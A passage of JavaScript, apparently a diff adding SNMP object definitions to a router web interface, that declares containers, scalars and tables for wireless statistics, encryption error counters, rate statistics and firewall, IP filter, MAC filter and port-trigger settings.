Scalar("RxWDSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40",2); +AdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar("RxOtherBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41",2); +AdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar("RxTimeoutsCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42",2); +AdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar("RxFiFoZeroOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43",2); +AdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar("RxFiFoOneOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44",2); +AdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar("RxFiFoTwoOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45",2); +AdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar("RxPRQFIFOCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46",2); +AdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar("RxPRQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47",2); +AdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar("RxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48",2); +AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar("RxAfterburnerConsumedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49",2); +AdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar("RxFrameDuplicateCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50",2); +AdvanceWirelessStatsRecv.RxFragmentCount= new Scalar("RxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51",2); +AdvanceWirelessStatsRecv.RxMulticastCount= new Scalar("RxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52",2); +AdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar("RxFCSErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53",2); +var arRxFrame=AdvanceWirelessStatsRecv.RxFrame; +var arRxBytes=AdvanceWirelessStatsRecv.RxBytes; +var arRxError=AdvanceWirelessStatsRecv.RxError; +var arRxCtl=AdvanceWirelessStatsRecv.RxCtl; +var arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs; +var arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors; +var arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors; +var arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors; +var arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors; +var arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount; +var arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount; +var arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount; +var arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount; +var arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount; +var arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount; +var arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount; +var arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount; +var arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount; +var arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount; +var arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount; +var arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount; +var arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount; +var arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount; +var arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount; +var arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount; +var arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount; +var arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount; +var arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount; +var arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount; +var arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount; +var arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount; +var arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount; +var arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount; +var arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount; +var arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount; +var arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount; +var arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount; +var arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount; +var arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount; +var arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount; +var arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount; +var arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount; +var arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows; +var arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows; +var arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows; +var arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount; +var arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount; +var arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount; +var arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount; +var arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount; +var arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount; +var arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount; +var arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount; + +var AdvanceWirelessStatsEncrypt = new Container("AdvanceWirelessStatsEncrypt", "1.3.6.1.4.1.4115.1.20.1.1.3.46.3"); +AdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar("WEPUndecryptableCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1",2); +AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar("TKIPLocalMICFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2",2); +AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar("TKIPCounterMeasuresInvoked","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3",2); +AdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar("TKIPReplayCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4",2); +AdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar("AESFormatErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5",2); +AdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar("AESReplaysCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6",2); +AdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar("AESDecryptErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7",2); +AdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar("FourWayHandshakeFails","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8",2); +AdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar("WEPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9",2); +AdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar("DecryptSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10",2); +AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar("TKIPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11",2); +AdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar("WEPExcludedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12",2); +var arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount; +var arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount; +var arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked; +var arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount; +var arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount; +var arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount; +var arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount; +var arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails; +var arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount; +var arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount; +var arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount; +var arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount; + +var AdvanceWirelessStatsRateStats = new Container("AdvanceWirelessStatsRateStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46.4"); +AdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar("PacketsRcv1Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1",2); +AdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar("PacketsRcv2Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2",2); +AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar("PacketsRcv5HalfMbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3",2); +AdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar("PacketsRcv6Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4",2); +AdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar("PacketsRcv9Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5",2); +AdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar("PacketsRcv11Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6",2); +AdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar("PacketsRcv12Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7",2); +AdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new Scalar("PacketsRcv18Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8",2); +AdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new Scalar("PacketsRcv24Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9",2); +AdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar("PacketsRcv36Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10",2); +AdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar("PacketsRcv48Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11",2); +AdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar("PacketsRcv54Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12",2); +AdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar("PacketsRcv108Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13",2); +AdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar("PacketsRcv162Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14",2); +AdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar("PacketsRcv216Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15",2); +AdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar("PacketsRcv270Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16",2); +AdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar("PacketsRcv324Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17",2); +AdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar("PacketsRcv378Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18",2); +AdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar("PacketsRcv432Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19",2); +AdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar("PacketsRcv486Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20",2); +AdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar("PacketsRcv540Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21",2); +var arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps; +var arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps; +var arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps; +var arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps; +var arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps; +var arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps; +var arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps; +var arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps; +var arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps; +var arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps; +var arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps; +var arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps; +var arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps; +var arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps; +var arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps; +var arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps; +var arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps; +var arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps; +var arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps; +var arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps; +var arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps; + +var FWCfg = new Container("FWCfg", "1.3.6.1.4.1.4115.1.20.1.1.4"); +FWCfg.FWEnabled= new Scalar("FWEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.1",2); +FWCfg.FWVirtSrvClear= new Scalar("FWVirtSrvClear","1.3.6.1.4.1.4115.1.20.1.1.4.2",2); +FWCfg.FWIPFilterClear= new Scalar("FWIPFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.3",2); +FWCfg.FWMACFilterClear= new Scalar("FWMACFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.4",2); +FWCfg.FWPortTrigClear= new Scalar("FWPortTrigClear","1.3.6.1.4.1.4115.1.20.1.1.4.5",2); +FWCfg.FWEnableDMZ= new Scalar("FWEnableDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.6",2); +FWCfg.FWIPAddrTypeDMZ= new Scalar("FWIPAddrTypeDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.7",2); +FWCfg.FWIPAddrDMZ= new Scalar("FWIPAddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.8",4, 1); +FWCfg.FWSecurityLevel= new Scalar("FWSecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.4.9",2); +FWCfg.FWApplySettings= new Scalar("FWApplySettings","1.3.6.1.4.1.4115.1.20.1.1.4.10",2); +FWCfg.FWAllowAll= new Scalar("FWAllowAll","1.3.6.1.4.1.4115.1.20.1.1.4.14",2); +FWCfg.FWAllowICMP= new Scalar("FWAllowICMP","1.3.6.1.4.1.4115.1.20.1.1.4.21",2); +FWCfg.FWResetDefaults= new Scalar("FWResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.4.22",2); +FWCfg.FWBlockHTTP= new Scalar("FWBlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.4.23",2); +FWCfg.FWBlockP2P= new Scalar("FWBlockP2P","1.3.6.1.4.1.4115.1.20.1.1.4.24",2); +FWCfg.FWBlockIdent= new Scalar("FWBlockIdent","1.3.6.1.4.1.4115.1.20.1.1.4.25",2); +FWCfg.FWBlockICMP= new Scalar("FWBlockICMP","1.3.6.1.4.1.4115.1.20.1.1.4.26",2); +FWCfg.FWBlockMulticast= new Scalar("FWBlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.27",2); +FWCfg.FWVSSrcPortExclude= new Scalar("FWVSSrcPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.28",4); +FWCfg.FWVSDestPortExclude= new Scalar("FWVSDestPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.29",4); +FWCfg.FWEnableNow= new Scalar("FWEnableNow","1.3.6.1.4.1.4115.1.20.1.1.4.30",2); +FWCfg.FWAllowDestPorts= new Scalar("FWAllowDestPorts","1.3.6.1.4.1.4115.1.20.1.1.4.31",4); +FWCfg.FWVirtSrvTableEnabled= new Scalar("FWVirtSrvTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.32",2); +FWCfg.FWPortTrigTableEnabled= new Scalar("FWPortTrigTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.33",2); +// scm { +FWCfg.FWIPv6AddrDMZ= new Scalar("arFWIPv6AddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.39",4, 1); +// scm } +var arFWEnabled=FWCfg.FWEnabled; +var arFWVirtSrvClear=FWCfg.FWVirtSrvClear; +var arFWIPFilterClear=FWCfg.FWIPFilterClear; +var arFWMACFilterClear=FWCfg.FWMACFilterClear; +var arFWPortTrigClear=FWCfg.FWPortTrigClear; +var arFWEnableDMZ=FWCfg.FWEnableDMZ; +var arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ; +var arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ; +var arFWSecurityLevel=FWCfg.FWSecurityLevel; +var arFWApplySettings=FWCfg.FWApplySettings; +var arFWAllowAll=FWCfg.FWAllowAll; +var arFWAllowICMP=FWCfg.FWAllowICMP; +var arFWResetDefaults=FWCfg.FWResetDefaults; +var arFWBlockHTTP=FWCfg.FWBlockHTTP; +var arFWBlockP2P=FWCfg.FWBlockP2P; +var arFWBlockIdent=FWCfg.FWBlockIdent; +var arFWBlockICMP=FWCfg.FWBlockICMP; +var arFWBlockMulticast=FWCfg.FWBlockMulticast; +var arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude; +var arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude; +var arFWEnableNow=FWCfg.FWEnableNow; +var arFWAllowDestPorts=FWCfg.FWAllowDestPorts; +var arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled; +var arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled; +// scm start +var arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ; + +var FWVirtSrvTable = new Table("FWVirtSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.4.12"); +FWVirtSrvTable.FWVirtSrvIndex = new Column("FWVirtSrvIndex","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1",66); +FWVirtSrvTable.FWVirtSrvDesc = new Column("FWVirtSrvDesc","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2",4); +FWVirtSrvTable.FWVirtSrvPortStart = new Column("FWVirtSrvPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3",66); +FWVirtSrvTable.FWVirtSrvPortEnd = new Column("FWVirtSrvPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4",66); +FWVirtSrvTable.FWVirtSrvProtoType = new Column("FWVirtSrvProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5",2); +FWVirtSrvTable.FWVirtSrvIPAddrType = new Column("FWVirtSrvIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6",2); +FWVirtSrvTable.FWVirtSrvIPAddr = new Column("FWVirtSrvIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7",4, 1); +FWVirtSrvTable.FWVirtSrvTOD = new Column("FWVirtSrvTOD","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8",2); +FWVirtSrvTable.FWVirtSrvLocalPortStart = new Column("FWVirtSrvLocalPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9",66); +FWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column("FWVirtSrvLocalPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10",66); +FWVirtSrvTable.FWVirtSrvRowStatus = new Column("FWVirtSrvRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11",2); +// scm start +FWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column("arFWVirtSrvActive","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12",2); +FWVirtSrvTable.FWVirtSrvIPv6Addr = new Column("arFWVirtSrvIPv6Addr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13",4); +// scm end +var arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex; +var arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc; +var arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart; +var arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd; +var arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType; +var arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType; +var arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr; +var arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD; +var arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart; +var arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd; +var arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus; +var FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType; +var arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr; + +var FWIPFilterTable = new Table("FWIPFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.13"); +FWIPFilterTable.FWIPFilterIndex = new Column("FWIPFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1",66); +FWIPFilterTable.FWIPFilterDesc = new Column("FWIPFilterDesc","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2",4); +FWIPFilterTable.FWIPFilterStartType = new Column("FWIPFilterStartType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3",2); +FWIPFilterTable.FWIPFilterStartAddr = new Column("FWIPFilterStartAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4",4, 1); +FWIPFilterTable.FWIPFilterEndType = new Column("FWIPFilterEndType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5",2); +FWIPFilterTable.FWIPFilterEndAddr = new Column("FWIPFilterEndAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6",4, 1); +FWIPFilterTable.FWIPFilterPortStart = new Column("FWIPFilterPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7",66); +FWIPFilterTable.FWIPFilterPortEnd = new Column("FWIPFilterPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8",66); +FWIPFilterTable.FWIPFilterProtoType = new Column("FWIPFilterProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9",2); +FWIPFilterTable.FWIPFilterTOD = new Column("FWIPFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10",2); +FWIPFilterTable.FWIPFilterRowStatus = new Column("FWIPFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11",2); +FWIPFilterTable.FWIPFilterAction = new Column("FWIPFilterAction","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12",2); +FWIPFilterTable.FWIPFilterDirection = new Column("FWIPFilterDirection","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13",2); +FWIPFilterTable.FWIPFilterStartMin = new Column("FWIPFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14",2); +FWIPFilterTable.FWIPFilterEndMin = new Column("FWIPFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15",2); + +var arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex; +var arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc; +var arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType; +var arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr; +var arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType; +var arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr; +var arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart; +var arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd; +var arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType; +var arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD; +var arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus; +var arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction; +var arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection; +var arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin; +var arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin; + +var FWMACFilterTable = new Table("FWMACFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.15"); +FWMACFilterTable.FWMACFilterIndex = new Column("FWMACFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1",66); +FWMACFilterTable.FWMACFilterAddr = new Column("FWMACFilterAddr","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2",4, 1); +FWMACFilterTable.FWMACFilterTOD = new Column("FWMACFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3",2); +FWMACFilterTable.FWMACFilterRowStatus = new Column("FWMACFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4",2); +FWMACFilterTable.FWMACFilterHostName = new Column("FWMACFilterHostName","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5",4); +FWMACFilterTable.FWMACFilterStartMin = new Column("FWMACFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6",2); +FWMACFilterTable.FWMACFilterEndMin = new Column("FWMACFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7",2); +var arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex; +var arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr; +var arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD; +var arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus; +var arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName; +var arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin; +var arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin; + +var FWPortTrigTable = new Table("FWPortTrigTable", "1.3.6.1.4.1.4115.1.20.1.1.4.16"); +FWPortTrigTable.FWPortTrigIndex = new Column("FWPortTrigIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1",66); +FWPortTrigTable.FWPortTrigDesc = new Column("FWPortTrigDesc","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2",4); +FWPortTrigTable.FWPortTrigPortStart = new Column("FWPortTrigPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3",66); +FWPortTrigTable.FWPortTrigPortEnd = new Column("FWPortTrigPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4",66); +FWPortTrigTable.FWPortTargPortStart = new Column("FWPortTargPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5",66); +FWPortTrigTable.FWPortTargPortEnd = new Column("FWPortTargPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6",66); +FWPortTrigTable.FWPortTrigProtoType = new Column("FWPortTrigProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7",2); +FWPortTrigTable.FWPortTrigTOD = new Column("FWPortTrigTOD","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8",2); +FWPortTrigTable.FWPortTrigRowStatus = new Column("FWPortTrigRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9",2); +var arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex; +var arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc; +var 